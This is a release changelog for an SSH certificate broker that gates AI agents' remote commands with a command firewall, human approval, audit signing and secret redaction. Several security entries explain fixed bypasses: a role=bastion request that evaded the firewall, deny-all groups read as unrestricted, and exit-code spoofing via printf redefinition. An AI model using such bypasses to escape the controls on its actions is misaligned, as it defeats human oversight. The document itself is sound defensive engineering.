outbound sink, replacing them with [REDACTED:<rule>].
Added¶
- New
internal/redactpackage: named RE2 rules, built-in defaults (password/token flags, the attachedmysql -p<pass>form,VAR=secretassignments with_-delimited keyword matching, URIuser:pass@,Authorizationheaders, JWTs, AWS/GitHub/GitLab/Slack tokens, private-key blocks) plus operator-definedpatterns(a(?P<secret>...)group masks only the secret and keeps the rest of the match as forensic context;disable_defaultskeeps only the operator rules). An invalid pattern is a startup error (fail-closed), and overlapping rules never re-mask another rule's marker. - Redaction choke-points, so no call site can be missed:
audit.Log: the free-text fields (command,err,warning,anomaly) are masked before the entry is signed — the Ed25519 signature and hash chain cover the redacted content,broker-ctl audit verifyis unaffected, and the original text is never persisted (irrecoverable by design).recording.Recorder: every ASCIIcast event is masked. Input events carry one full command line per event (reliable); output arrives in arbitrary chunks, so a split secret can escape a pattern (documented best-effort).- Control-plane notifier: the approval notification payload
(log/webhook/Teams) is masked. The approval registry keeps the original
command — the mTLS approval UI (
/ui/approvals) andGET /v1/approvalsshow the approver exactly what will run, and the approved request forwarded to the signer is untouched. redactconfig key in the broker (config.json), signer (signer.json) and control plane (control-plane.json). Present — even empty{}— enables the built-in defaults; absent = disabled (backward compatible). Redaction never touches the decision path: the signer and the certificate force-command always see the original command.
Documentation¶
- New "Redaction is best-effort" section in SECURITY.md (limits: regex ≠ DLP,
chunked output, decision path untouched by design, false-positive escape
hatch); THREAT_MODEL gap #8 updated from "no redaction" to "opt-in,
best-effort";
redactblocks in the three example configs; config reference regenerated.
[v1.31.1] - 2026-07-02¶
Fixed¶
- Deployment: the signer config moves to the service-owned state directory
/var/lib/ssh-broker/signer/signer.json. v1.31.0'sReadWritePathsfix (#38) removed the systemd barrier to the durable policy-mutation API (broker-ctl policy add/remove), but the POSIX permission barrier remained —/etc/ssh-brokerisroot:ssh-broker 0750, so thessh-brokerservice user could not createsigner.json.tmpfor the temp-file+rename and every durable mutation still failedEACCES. Placing the signer config where the service owns it (and reverting the now-unnecessaryReadWritePaths, keeping/etcread-only for the service) lets durable mutations persist while the PKI and the other services' configs stay root-owned in/etc. Binaries are unchanged from v1.31.0; this is a deploy-artifact + docs fix. The installer seeds the signer config to the new location; the systemd unit points-configthere.
[v1.31.0] - 2026-07-02¶
Security & correctness audit pass. Fourteen findings across the signer, control plane, broker-ctl, deployment artifacts and docs.
Security¶
- Signer rejects an empty one-shot command. An empty command baked no force-command into the certificate (an unrestricted host credential) and, on a denylist or approval-only host, slipped past the command firewall and the human-approval gate. Rejected at the authoritative layer (#37).
- The control plane no longer trusts an unauthenticated, broker-supplied
end_userfor the approver's display, the notifier, or the forward to the signer unless the broker CN is a trusted forwarder — a malicious broker could otherwise label a command as coming from a trusted admin to bias the human decision (#40). broker-ctlno longer searches the current working directory forbroker-ctl.json, and a relative default cert/key/ca resolves against the loaded config file's directory rather than the CWD, so a planted file cannot redirect the CLI's mTLS endpoint or CA trust anchor (#39, #42).- The approval webhook/Teams notifier requires an
httpsURL (httponly for a loopback relay), preventing cleartext leakage of approval details; the legacy Teams MessageCard no longer enables markdown, which could inject links into the approver's notification (#44, #43).
Fixed¶
- The signer systemd unit adds
ReadWritePaths=/etc/ssh-brokerso the durable policy-mutation API can persist tosigner.json; underProtectSystem=strictit was failingEROFSwhile in-memory grants and SIGHUP reload masked it (#38). - The release workflow builds via
make dist, so the published artifact ships thecontrol-planebinary (the shipped unit had nothing to exec),deploy/and the example configs, with the version injected (#41). - A per-host
max_ttl_secondsabove the 900s certificate cap is rejected at config load instead of failing every issuance at request time (#45). - The signer rate-limiter bucket map stays strictly bounded — least-recently-used eviction when pruning frees nothing (#46).
Documentation¶
ssh_list_serversreturn table documentsallow_file_transfer; the README stdio bullet lists the file-transfer tools; the OPERATIONS reference-config table includesbroker-ctl.example.json;config.example.jsongains afile_transfer_max_bytesexample (#47–#50).
[v1.30.0] - 2026-07-02¶
Added¶
GET /v1/policy/hostson the signer: full host-policy read (the current in-memory table, same schema as the signer.jsonhostsobject, including the fieldsGET /v1/hostswithholds from brokers — principal, TTLs,allowed_callers,command_policy). Auth is thereload_callerstier, like the policy mutation APIs; every read attempt is audited (policy-read/policy-read-denied).broker-ctl host list --remote: renders the live policy from a running signer over mTLS with the same columns as the local view — the recommended post-deploy end-to-end check. A non-200 is a hard failure (no silent fallback to the reduced/v1/hostsview).- broker-ctl client parameters file: the remote commands (
reload,policy add/remove/grant/grants/revoke,approval list/allow/deny,host list --remote) resolve--url/--cert/--key/--cawith per-parameter precedence flag > env > file > default. File search order:--client-config,$BROKER_CTL_CONFIG,./broker-ctl.json,~/.config/broker-ctl/config.json,/etc/ssh-broker/broker-ctl.json(seeded bydeploy/install.sh). Env vars:BROKER_CTL_SIGNER_{URL,CERT,KEY,CA},BROKER_CTL_CP_{URL,CERT,KEY,CA}. Newbroker-ctl.example.json, validated against the struct in CI. - The signer-facing remote commands accept
--url, so none of them need a localsigner.jsonanymore (itslistenfield remains the last-resort URL fallback).
[v1.29.0] - 2026-07-02¶
Added¶
- Production deployment artifacts under
deploy/: hardened systemd units for the three daemons (ssh-broker-signer,ssh-broker-control-plane,ssh-broker-mcp-http) with full sandboxing (ProtectSystem=strict, empty capability bounding set, syscall filtering),StateDirectory-managed audit log directories under/var/lib/ssh-broker/<svc>/,systemctl reload(SIGHUP) wired to the signer's hot-reload, and an optionalEnvironmentFile=/etc/ssh-broker/<svc>.envforAZURE_*credentials when CA custody is Azure Key Vault. deploy/install.sh: idempotent root installer — creates thessh-brokersystem user, the/etc/ssh-broker+/etc/ssh-broker/pkilayout, installs binaries and units, and seeds configs from the examples without ever overwriting an existing real config (safe for upgrades).make dist: release tarball (dist/ssh-broker-<version>.tar.gz) bundling the binaries,deploy/, and the example configs the installer seeds from.deploy/README.md: production checklist presenting CA custody as an explicit operator choice —akv(Azure Key Vault; the private key never leaves the vault; RSA/EC only) vspem(local file; lab/dev) — plus default-denycallers, rate limiting, monitor binding, and upgrade caveats (in-memory approvals/sessions).- Vendor-agnostic agent skill
.agents/skills/deploy/SKILL.md(symlinked from.claude/skills): the judgment layer over the deterministic tooling — preflight policy checks, the custody question, reload-vs-restart decision, and post-deploy health verification. - New § 8 "Production deployment" in OPERATIONS.md.
[v1.28.0] - 2026-07-02¶
Added¶
- Built-in approval UI on the control plane's mTLS listener:
GET /ui/approvals(pending-first list, auto-refresh) andGET /ui/approvals/{id}(request context with Approve / Deny and an optional approve-and-learn TTL). Server-renderedhtml/template, no new dependency, no external assets. Decisions are same-origin JavaScript POSTs to the existing/v1/approvals/{id}API, so the audit trail, broker/approver role separation, and the four-eyes self-approval guard apply unchanged. Auth is the browser's mTLS client certificate (CN inapproval.callers).approval_url_templatecan now point notification links athttps://<control-plane>/ui/approvals/{id}.
Security¶
POST /v1/approvals/{id}requiresContent-Type: application/json(415 otherwise): CSRF hardening for the browser UI — mTLS client certificates are ambient credentials and an HTML form withenctype=text/plaincan smuggle a JSON-shaped body cross-site; the media-type requirement stops forms, and a cross-originfetchcarrying it is stopped by the CORS preflight (the server sends no CORS headers).broker-ctlalready sent the header.
[v1.27.0] - 2026-07-02¶
Added¶
- Two new MCP tools,
ssh_put_fileandssh_get_file, built on the one-shot certificate machinery (no SFTP subsystem, no new dependency): the transfer is a force-command one-shot (cat > path/ boundedhead -cread) with content streamed over stdin/stdout; binary data via base64. A file larger than the cap is an error, not a truncation. The content's sha256, size, and path are recorded in dedicatedfile_put/file_getaudit entries correlated with theexecutedentry by serial. - New per-host gate
allow_file_transfer(default false, secure by default) in the signer HostPolicy and broker local-mode HostConfig, enforced at signing time via the newfile_transferintent/wire flag, exposed inGET /v1/hostsandssh_list_servers, and manageable withbroker-ctl host add --file-transfer. The generated transfer command remains subject to the host'scommand_policy. - Broker config
file_transfer_max_bytescaps transfer size (default 512 KiB; the HTTP MCP frontend's 1 MiB body bound must fit base64-encoded content).
[v1.26.0] - 2026-07-02¶
Added¶
- Every service accepts an optional
monitor_listenconfig key that starts a separate plain-HTTP listener with/healthz(liveness) and/metrics(Prometheus text exposition format, no new dependencies). The broker key covers all three broker frontends. - Initial metric inventory, fed from the existing audit funnels:
signer_sign_requests_total{outcome}(including the un-auditedrate-limitedoutcome),controlplane_events_total{outcome},controlplane_approvals_pending,broker_events_total{outcome},broker_sessions_active, andaudit_append_failures_total— the machine-readable signal for threat-model gap #9 (audit is fail-open); alert on any increase.
[v1.25.0] - 2026-07-02¶
Security¶
- The signer enforces an optional per-CN rate limit on
POST /v1/sign(sign_rate_limit_per_min, hot-reloadable), closing threat-model gap #4 on opt-in: a token bucket keyed on the authenticated mTLS peer CN — noton_behalf_of— checked before body parsing. Excess requests get429with aRetry-Afterhint; rejections are deliberately not audited so the tamper-evident log cannot become the flooding amplifier. 0/absent = disabled (backward compatible).
[v1.24.0] - 2026-07-02¶
Security¶
- The
callersRBAC table supports a reserved"_default"entry that unlisted broker CNs inherit, closing threat-model gap #6 on opt-in:"_default": {"allowed_groups": []}makes the table default-deny, so forgetting to list a new CN fails closed instead of open. Explicit entries always win over_default.
Added¶
broker-ctl callers addaccepts an explicitly-empty--groups ""to write a deny-allallowed_groups: []entry (required to create the_defaultdefault-deny entry from the CLI; an omitted--groupsis still a usage error).
Documentation¶
- Audited the whole doc set against the code and fixed the drift (#18): the generated config reference now covers the broker/MCP config (docgen recurses into nested structs and resolves const-named routes), API status codes match the handlers, and stale binary/package inventories were completed.
- Refreshed handoff, architecture, and changelog notes for post-v1.23.5 audit hardening and the scoped approve-and-learn waiver behavior.
- Corrected runtime-grant list examples so allow-grants and approval-waivers show
their distinct fields and match the
broker-ctl policy grantsoutput.
Fixed¶
- Approve-and-learn approval waivers are now scoped to the effective broker caller and OIDC end user that were approved, instead of clearing re-approval for every subject that can reach the same host/command.
- Persistent shell/PTY session readers now cap a single unterminated stdout line
before buffering it, so a remote command cannot bypass
maxOutputBytesby emitting a huge line without a newline. broker-ctl reloadnow matches the local process basename exactly before sending SIGHUP, avoiding accidental signals to unrelated commands whose name merely containssigner.
[v1.23.5] - 2026-06-30¶
Documentation¶
- Corrected post-release documentation drift for v1.23.4 and clarified that session preflight revalidates authorization, elevation, PTY, and command policy.
- Corrected the context-propagation notes:
SessionExecnow uses caller context, while AKV signing is bounded by the signer's own timeout becausecrypto.Signerhas no context parameter. - Removed fixed test-count numbers from the handoff document and kept only the stable coverage areas.
Fixed¶
- Behavior guardrails in
enforcemode no longer learn a novel host/command before approval is granted. Repeating the same unapproved anomaly keeps returning202instead of silently entering the subject baseline. ssh_session_execnow revalidates every bastion hop asrole=bastionbefore the target command preflight, so signer reloads that revoke jump-host access also stop already-open sessions on their next command.- New
ssh_executeandssh_session_opencalls refresh/v1/hostsimmediately before building SSH hops and fail closed on refresh errors, avoiding staleaddr/host_key/jumpdata for new connections. - The control-plane config loader now rejects unknown
behavior.mode,approval.notifier, andapproval.teams_formatvalues at startup instead of silently disabling guardrails or falling back to the log notifier. - Made broker shutdown idempotent, including repeated
Engine.Close()calls. - Canonicalized approve-and-learn waiver elevation so
sudo_user=""andsudo_user="root"match the same effective sudo target. - Propagated
preflightfrom the signer HTTP request into the internal signing intent. - Hardened persistent shell session markers against
printf()function redefinition, soshell/ptysessions cannot spoof the reported exit code by shadowing the marker emitter. - Rejected
ssh_session_execon an already-open session when the current signer host route (addr/user/host_key/jump) no longer matches the route used to open that session.
[v1.23.4] - 2026-06-30¶
Fixed¶
- Session preflight now carries PTY state.
ssh_session_execpreflight sends the live session's PTY bit to the signer, so a policy reload that disablesallow_ptyalso stops already-openmode=ptysessions on their next command.
Documentation¶
control-plane.example.json, API, operations, architecture, and handoff docs now describe the approved-but-uncollected approval TTL and the current v1.23.x session-preflight behavior.
[v1.23.3] - 2026-06-30¶
Fixed¶
- Approved requests now expire if they are not collected. Once a human approves an operation, the broker must redeem it within the approval TTL; stale approved-but-unconsumed requests can no longer issue a certificate later.
- Session command preflight now follows current signer policy. Every
ssh_session_execis rechecked withdry_run=true+preflight=true, so signer reloads affect already-open sessions.mode=execcommands enforce the new policy on the next call, and existingshell/ptysessions are blocked once a command policy becomes active.
Documentation¶
- Clarified that session command filtering is broker-preflighted but not host-enforced, fixed the persistent-session serial examples, and updated the session/preflight API wording.
[v1.23.2] - 2026-06-30¶
Fixed¶
- Approved requests survive transient signer failures. The control plane now burns an approval only after the signer returns a certificate or preflight decision, while still preventing concurrent double issuance.
- Broker HTTP responses preserve audit-mode warnings.
/v1/ssh_runnow includes optionalwarningsso clients can see command-policy audit findings.
Documentation¶
- API/MCP return-field documentation now lists
warnings, and the security scope no longer describes session command firewalling as entirely absent.
[v1.23.1] - 2026-06-30¶
Fixed¶
- Session exec preflight is now scoped to command-policy hosts.
mode=execsessions on unrestricted hosts no longer call the signer before everyssh_session_exec; hosts withcommand_policystill preflight each command. - Executable preflights now pass through control-plane behavior guardrails.
Pure dry-runs still bypass guardrails, but
dry_run=true+preflight=trueis treated as an imminent execution and can be rate-limited or escalated.
Documentation¶
- Main example configs now use
enforcement: "enforce"by default and documentauditas a baseline-collection mode. - API and architecture documentation updated for executable preflight.
[v1.23.0] - 2026-06-30¶
Added¶
- Command-policy audit mode.
command_policy.enforcementnow accepts"audit"(default remains"enforce"). Audit mode lets commands run while returning and auditing warnings such aswould_denyandwould_require_approval, so operators can collect a baseline before enforcing allow/deny/approval rules. In composed policies, any enforcing policy wins; a host is audit-only only when every restricting policy is audit. - Command firewall for
ssh_session_execinmode=exec. Hosts withcommand_policynow allowssh_session_open mode=exec; the broker preflights eachssh_session_execwith the signer before opening the SSH exec channel. Denied or approval-gated commands are blocked in enforce mode and returned as warnings in audit mode.shellandptysessions remain rejected on command-policy hosts.
Changed¶
broker-ctl host addsupports--policy-enforcement enforce|auditand preserves that field during partial--forcecommand-policy updates.- MCP execution outputs now include optional
warnings, and audit entries can carry awarningfield for audit-mode policy observations.
[v1.22.1] - 2026-06-30¶
Patch release correcting the incomplete client-cancellation fix from v1.22.0 (it
only covered PTY executions) and a strict-config-validation blind spot for
_-prefixed map entries.
Fixed¶
- Client cancellation now aborts non-PTY SSH executions too. The v1.22.0
cancellation fix only reached the PTY branch of
ExecOnce; the common non-PTY path (ssh_executeand exec-mode sessions) still ran to the 10-minute timeout after a client disconnect. Both branches now share a singlewaitResultcore (unit-tested), so the cancellation and timeout handling cannot diverge again. - Cancelling a shell/PTY session command now tears down the SSH channel, so the remote command actually stops instead of lingering until the session is closed or reaped.
- Strict config validation no longer has a blind spot for
_-prefixed map entries. The strict pass stripped every_-prefixed key, so a typo nested inside an entry whose identifier starts with_(e.g. a host"_x"with a misspelled field) went undetected — and on default-open fields could widen access. Stripping now distinguishes comments (the_*_comment/_*_exampleconvention, or a_-prefixed key with a scalar value such as an inline_note) from real data (a_-prefixed object/array entry, or_default), so data entries reach validation while inline comments are still ignored.
Documentation¶
- THREAT_MODEL.md no longer lists the certificate TTL as a session mitigation: for an
established session the bound is
session_idle_seconds/session_max_seconds, not the cert TTL.
[v1.22.0] - 2026-06-30¶
Config and session hardening: fixes a v1.21.0 regression that could drop real
_-prefixed config keys, two session-management defects (unauthorized close
refreshing the idle timer; client cancellation not aborting commands), and corrects
the session-lifetime documentation.
Fixed¶
- Strict config no longer drops real
_-prefixed map keys.confcheck.Strict(the runtime loader path added in v1.21.0) stripped every_-prefixed key before decoding, which would silently delete a legitimate map entry whose key begins with_— e.g. a broker CN_ciincallers, whose removal makes that CN fall back to default-open. The loader now loads the real value with a lenient pass and uses the strip+strict pass only to detect unknown struct fields (typos), so_-prefixed map data is preserved while a misspelled control is still rejected. - Unauthorized
CloseSessionno longer refreshes a session's idle timer. It went throughget(), which updatedlastUsedbefore the ownership check, so a caller holding a leakedsession_idcould keep another caller's session alive against the idle reaper. Ownership is now checked and the session removed atomically, without touchinglastUsed(C1). - Client cancellation now aborts in-flight SSH commands.
SessionExecignored its context andExecOncehad none, so a disconnected MCP/HTTP client left the remote command running until the 10-minute execution timeout. The request context is now threaded throughExecOnceand the shell/PTYExec; on cancellation the command is signalled and the channel closed.
Documentation¶
- Corrected the session-lifetime docs (USAGE.md and the
ssh_session_open/ssh_session_closeMCP descriptions): an established session is closed bysession_idle_seconds/session_max_seconds, not by the certificate TTL (OpenSSH validates the certificate only at authentication). Setsession_max_secondsto the maximum exposure window you accept.
[v1.21.0] - 2026-06-30¶
Config-safety hardening: the runtime loaders now reject unknown/misspelled keys so a typo cannot silently leave a security control open. No change to the wire protocol or the broker's runtime behaviour.
Security¶
- Config is strictly decoded at load (fail-closed on unknown keys). The runtime
loaders (signer, control plane, broker — startup, reload, and the policy-mutation
path) now reject a config with an unrecognised or misspelled key instead of silently
ignoring it, so a typo in a security control (
sign_callers,allowed_callers,callers, …) can no longer quietly leave a default-open setting. Comment keys (_*) and the reserved_defaultgroup are still accepted (internal/confcheck.Strict).
Documentation¶
- OPERATIONS.md documents
sign_callers/ the broker–approver role separation and the strict config validation.
Internal¶
- Documented why
crypto/rand.Readerrors are intentionally discarded in the id/marker helpers (on Go 1.24+ it never returns an error — it crashes on RNG failure — so the discarded return is not a fail-open path).
[v1.20.0] - 2026-06-30¶
Security hardening of the control plane and the mTLS caller identity — no change to the broker's runtime behaviour or the wire protocol.
Security¶
- Control-plane broker/approver role separation. The signing path (
/v1/sign,/v1/hosts,/v1/sign/result) is now restricted to brokers: a newsign_callersallowlist pins which CNs may sign, and with no list a CN inapproval.callersis denied the sign path (an approver is not a broker — secure by default). This closes a role-confusion gap where an approver certificate, signed by the sameclient_ca, could originate signing requests. - mTLS rejects an empty or malformed CN.
auth.CallerCNnow fails closed on an empty common name or one containing control characters, instead of treating it as an unlisted (default-open) identity.
Fixed¶
- Control plane forwards host
groupsonGET /v1/hosts. The group labels were dropped when re-serialising the host list, so an OIDC user with groups saw zero hosts inssh_list_serversbehind the control plane. Restores the documented/v1/hostscontract.
[v1.19.0] - 2026-06-30¶
Relicensing and documentation infrastructure: the project is now GPL-3.0, and the docs are published to GitHub Pages with a CI pipeline that keeps them from drifting from the code. No change to the broker's runtime behaviour, API, config, or tools.
Changed¶
- Relicensed from proprietary to GPL-3.0.
LICENSEis now the GNU General Public License v3.0; README updated accordingly. - Wiki mirror enabled. The one-way docs→Wiki CI job is on (
ENABLE_WIKI_MIRROR); it pushes withGITHUB_TOKEN(falls back to aWIKI_TOKENPAT if one is set). - Documentation moved to
docs/and published to GitHub Pages, built from the repo's Markdown bymkdocs-material(single source of truth, reviewed in the same PR as the code). A one-way CI job optionally mirrors the docs to the read-only GitHub Wiki.
Added¶
- Anti-drift documentation pipeline.
tools/docgenregeneratesdocs/reference/{endpoints,mcp-tools,config,cli}.mdfrom the actual HTTP routes, MCP tool schemas (enumerated from the live server), config structs, and thebroker-ctlCLI; CI fails if the committed reference differs. The example configs are validated against their Go structs (internal/confcheck), andmkdocs build --strictfails on a broken link or anchor. Newmake docs-gen|docs-check|docs-serve.
[v1.18.0] - 2026-06-19¶
Dynamic command policy: a runtime overlay composed on top of the file baseline so the
firewall can be loosened temporarily without editing signer.json — widen an allowlist
for a TTL (grants), or skip re-approval for a vouched-for command (approve-and-learn).
Both are widen-only and self-expiring; the file stays the source of truth.
Added¶
- Approve-and-learn — TTL'd approval waivers. When a reviewer approves a
require_approvalcommand with--learn, the same command runs without re-approval for a TTL. Becauserequire_approvalis orthogonal to allow/deny, this is a newwaive_approvalgrant dimension (suppress the approval gate for an already-allowed command), applied inresolveCommandPolicyafter the allow check — so it only un-gates an allowed command, never widens allow/deny (no inversion risk; works on any host, incl. default-allow ones carrying arequire_approvalrule). The waiver is minted signer-internally: the control plane carries the learn intent on the approved sign and the signer mints a waiver scoped to the approved broker caller and OIDC end user, honoured only from atrusted_forwarder(likeapproved) — no new auth tier, a broker can neither self-approve nor self-learn. A waiver is bound to the exact command, elevation (sudo/sudo_user), caller, and end user that were approved — approving a non-sudo command never waives its root variant, and another subject still needs its own approval. Waivers appear inpolicy grantsand are revoked like any grant; the TTL is clamped tomax_grant_ttl_seconds; re-learning refreshes the single waiver (no duplicate accumulation) and expired ones are purged periodically; every mint is audited (approval-waiver-created) and linked to its approval id.
broker-ctl approval allow <id> --learn --ttl 2h # approve once, skip re-approval for 2h
broker-ctl policy grants # shows waive-approval[^cmd$]
broker-ctl policy revoke <grant-id> # end it early
- Runtime command-policy grants (dynamic widening overlay). A grant temporarily
widens an allowlist host without editing
signer.json— a set ofallowpatterns that expire on their own after a TTL. Grants are the in-memory dynamic overlay on top of the durable file baseline, composed at decision time (internal/signer/grants.goGrantStore/GrantProvider, injected inresolveCommandPolicy). They survive config reloads and are dropped on a signer restart (TTL'd; fail-safe). New signer API (authreload_callers, audited): POST /v1/policy/hosts/{host}/grants— create{ "allow":[...], "ttl_seconds":N, "caller":"", "end_user":"" }→201 { id, host, expires_at }.GET /v1/policy/grants— list active grants.DELETE /v1/policy/grants/{id}— revoke.broker-ctl policy grant|grants|revokeclients; optionalmax_grant_ttl_secondsconfig cap.
broker-ctl policy grant --host web01 --allow '^systemctl restart nginx$' --ttl 2h
broker-ctl policy grants
broker-ctl policy revoke <id>
Widen-only, enforced. A grant carries only allow (never deny /
require_approval) and is applied only on a host that is already allowlist-active
— on a default-allow/denylist host it is refused (409), since injecting an allowlist
there would invert the host to default-deny. deny still wins; creation is
operator-only; the broker/agent can never create one.
[v1.17.0] - 2026-06-19¶
Dynamic command-policy operations (Phase 0): manage the firewall without abandoning the file as the source of truth — recommend changes from the audit, apply them with a validated mutation API, and pick up edits automatically.
Added¶
- Validated policy mutation API on the signer.
POST/DELETE /v1/policy/hosts/{host}/allowadd/remove a single command-policy allow regex for a host over mTLS, authorised by the existingreload_callersallowlist. Unlike a hand edit, the change is validated by building the new state (CompileHostPolicies+ CA load) before it is persisted or applied: a bad regex, an unknown host, or a config that would not compile is rejected and nothing changes. On success the file is written atomically (temp+rename, preserving permissions, top-level keys and other hosts verbatim) and the in-memory policy is swapped, so disk and the running policy stay consistent; every attempt (changed / denied / failed) is recorded in the signed audit log. Newbroker-ctl policy add|remove --host <h> --allow <regex>client. This is the apply-side ofpolicy recommendand the foundation for runtime grants. - Signer auto-reload (opt-in). New
auto_reload_secondsinsigner.json: when0, the signer polls the config file's mtime and hot-reloads on change via the same validated, atomic, previous-state-preserving path as SIGHUP /
POST /v1/reload(a half-written file mid-save is rejected and re-applied on the next tick). Dependency-free (mtime poll, no fsnotify). 0/absent = disabled. Removes the manualbroker-ctl reloadafter a hand edit or a GitOps write. broker-ctl policy recommend— mines an audit log and prints advisory command-policy suggestions: promote (commands run or human-approved despite the current policy denying them — candidates for the allowlist), dead-rule (allow/deny patterns that never matched in the window — least-privilege cleanup), and friction (commands repeatedly denied). Read-only and advisory: it never changes policy. Attribution is by re-evaluation against the current compiled policy (signer.PolicySet.Decide), so it does not depend on the audit recording which rule matched. Newinternal/policyrec;--audit <log>,--host,--since,--min-count,--json.
[v1.16.0] - 2026-06-19¶
Performance and maintainability pass (read-only audit of the hot-path packages, then targeted fixes). No behaviour change to issuance, policy decisions, or the wire protocol.
Security¶
- BehaviorTracker memory is now bounded (resource-exhaustion fix). The
control-plane anomaly/rate tracker kept per-subject state in maps that were
only ever added to. A trusted forwarder rotating
end_uservalues (subject =<brokerCN>:<endUser>), or any subject touching many distinct hosts/commands, could grow them without limit. The subject table is now capped (max_subjects, default 4096) with least-recently-seen + idle-TTL eviction (subject_ttl_minutes, default 1440), and each subject's host/command history is capped (max_distinct_per_subject, default 1024); once full, novelty detection for that dimension degrades to "seen" instead of growing or emitting unbounded approval escalations. New optionalbehaviorconfig fields, all with sane defaults (internal/control/behavior.go).
Changed¶
CommandPolicy.Decide/decideOneremoved (single evaluator). The request path has always evaluated throughPolicySet; the parallel single-policy evaluator was test-only and had drifted (Spanish error strings vs the EnglishPolicySetones). It is deleted and its tests now run againstPolicySet{cp}, leaving one source of truth for the AI-action firewall rule logic. Thecommand_policysource (internal/signer/cmdpolicy.go) is also fully normalised to English.
Performance¶
- Parsed host keys are cached (content-addressed by the authorized_keys
line) instead of re-parsed per hop per request (
internal/broker/engine.go). shellQuoteSessionrewritten from O(n²) string concatenation to a singlestrings.Builderpass (internal/broker/session.go).- POSIX-shell parser pooled (
sync.Pool) and the AST printer hoisted out of the per-CallExprloop inextractCommands;buildConstraintsbuilds the cert KeyID with onestrings.Builderinstead of a slice +Sprintf+Join(byte-identical output, guarded by a test) (internal/signer).
Fixed¶
- Host-refresh goroutine lifecycle. The remote-mode host-refresh goroutine
had no stop channel and was not terminated by
Engine.Close()(a leak in tests and repeated construction). It now exits onClose(internal/broker/engine.go).
[v1.15.0] - 2026-06-19¶
Added¶
--versionon every binary. All six commands (signer,broker,control-plane,mcp-broker,mcp-broker-http,broker-ctl) now print their build version and exit. Short, script-friendly form by default (broker-ctl --version→v1.15.0); detailed form with--version --verbose(Go toolchain, target os/arch, VCS revision and commit time).broker-ctlalso gains the twin subcommandbroker-ctl version [--verbose]. The infrastructure already existed (internal/versioninjected from the git tag by the Makefile); this wires it to the CLI. Newversion.Printandversion.Detailedhelpers.
Changed¶
- BREAKING —
broker-ctl --configis now a global flag and must precede the subcommand. Usebroker-ctl --config <f> host listinstead ofbroker-ctl host list --config <f>. The per-subcommand--configwas removed from all subcommands (host,ca-keys,callers,reload,policy explain), so--configafter the subcommand is now rejected. This alignsbroker-ctlwith the other five binaries, which already take--configat the top level. Scripts that passed--configafter the subcommand must move it before it.
[v1.14.0] - 2026-06-18¶
Added¶
- Composable command policies by group. The AI-action firewall is no longer
per-host only: a named policy library (
command_policies) attaches N policies to a group (group_command_policies: group → [names]), and a host (with N groups) gets the composition of all its groups' policies plus its own inlinecommand_policy. Composition is additive: deny wins (any denylist match blocks), allow is a union (if any contributing policy is an allowlist, the command must match the union of all of them),require_approvalis a union, andshell_parseis OR. The reserved group_defaultapplies to every host (global guardrail, mirroringca_keys_default). Newinternal/signer/policyset.go(PolicySet) andCompileHostPoliciesresolve + validate the composition at config load (a one-element set reproducesCommandPolicy.Decideexactly, so single-policy hosts are unchanged). Works in both the remote signer (signer.json) and the local single-binary broker (config.json). Newbroker-ctl policy explain --config <f> --host <h> [--command <c>]prints a host's composed policy and evaluates a command offline (no signing, no network). SeeARCHITECTURE.md§ AI-action firewall and the example configs.
[v1.13.0] - 2026-06-16¶
Security hardening from an adversarial (red-team) review of authentication,
RBAC, privilege escalation, the command firewall, and audit integrity. Two
high-severity bypasses (command firewall via role=bastion; deny-all RBAC
collapsing to unrestricted on the wire) plus several medium/low fixes.
Security¶
- Command firewall could be bypassed by requesting
role=bastion. The AI-action firewall (command_policy) and the certforce-commandwere applied only forrole=target, whilerolearrives unverified from the wire. A compromised broker could requestrole=bastionon a host that had both acommand_policyandallow_as_bastion, obtaining a certificate with the host's real principal, no force-command, andpermit-port-forwarding— i.e. an unrestricted credential that evades the allow/deny rules entirely, defeating the "one-shot policy survives a fully compromised broker" guarantee.PolicyTable.Resolvenow rejects any non-targetrole on a host whosecommand_policyrestricts, andPolicyTable.Validaterejects a host that sets bothallow_as_bastionand acommand_policy(the two are mutually exclusive — a bastion certificate carries no force-command). Defends both the remote signer and the broker's local mode. - Empty OIDC groups (deny-all) collapsed to unrestricted on the wire. The
OIDC verifier computes a non-nil empty
[]string{}for an authenticated user with zero groups, so the signer denies every host (deny-all). But the broker→signer wire field usedjson:",omitempty", which drops a length-0 slice entirely, so the request arrived withend_user_groups == nil— read by the signer as unrestricted (no per-user filter), the exact inverse of the intended decision.WireRequest.EndUserGroupsno longer usesomitempty:nil(no end-user identity) round-trips tonil;[](deny-all) round-trips to a non-nil empty slice. GET /v1/hostsignored per-hostallowed_callers. The host list applied only the group RBAC filter, so a broker CN excluded from a host viaallowed_callers(but not group-restricted — thecallerstable is default-open) still received that host'saddr/user/host_key/jump. The handler now also drops hosts whoseallowed_callersexcludes the caller, matching the/v1/signauthorization.- Approval requests hid sudo elevation from the human approver. The pending
request stores
sudo/sudo_userand the issued certificate bakes the sudo prefix into its force-command, butbroker-ctl approval listand the defaultlognotifier did not display the elevation, so an approver could authorize a benign-looking command unaware it would run as root. Both now showelevation=sudo:<user>(the webhook already serialized the full request and the Teams card already rendered it). - Certificate KeyID accepted control characters in broker-supplied identity.
end_userand the resolved caller (on_behalf_offrom a trusted forwarder) flowed verbatim into the cert KeyID, which sshd writes to its auth log; a newline let a compromised forwarder forge/splice lines in the host'sauth.log. The signer now rejects control characters incaller/end_user.
Fixed¶
- Audit rotation is now verifiable end-to-end.
broker-ctl audit verifygains an--allflag that discovers the rotated segments (<log>.<timestamp>) plus the active file, verifies each, and checks the cross-file linkage (segment N's firstprev_hash== SHA-256 of segment N-1's last line, earliest segment starts at genesis). Single-file verification accepted the firstprev_hashas an unchecked seed, so dropping a whole rotated segment — or truncating the active file and restarting (which re-anchors to genesis) — was undetectable, contradicting THREAT_MODEL's rotation guarantee.--alldetects both. broker-ctl host add --forceno longer wipes the wholecommand_policy. A partial update that passed any one policy sub-flag rebuilt the entire policy object from flag defaults, so omitting--policy-modesilently downgraded the host tomode:off(firewall disabled, sessions re-enabled) with no warning. The policy is now merged field-by-field like every other host field: only the sub-fields whose flags were explicitly passed are overridden.- Session
shell/ptyper-command audit now records the elevation. For an elevated shell/pty session the per-commandsession_execentries recorded a blank elevation (the prefix lives in the shell process), understating privilege. The session now retains anelevLabelfor all modes and emits it on every command. ssh_session_execchecks ownership before mutating session state. It marked a command in flight (busy/lastUsed) before the C1 ownership check, so a non-owner could refresh another caller'slastUsedand holdbusy>0to keep the session from being reaped. Ownership is now verified under the lock before any mutation (newsessionManager.checkoutOwned).
Changed¶
- Local single-binary mode no longer marks every host as a bastion.
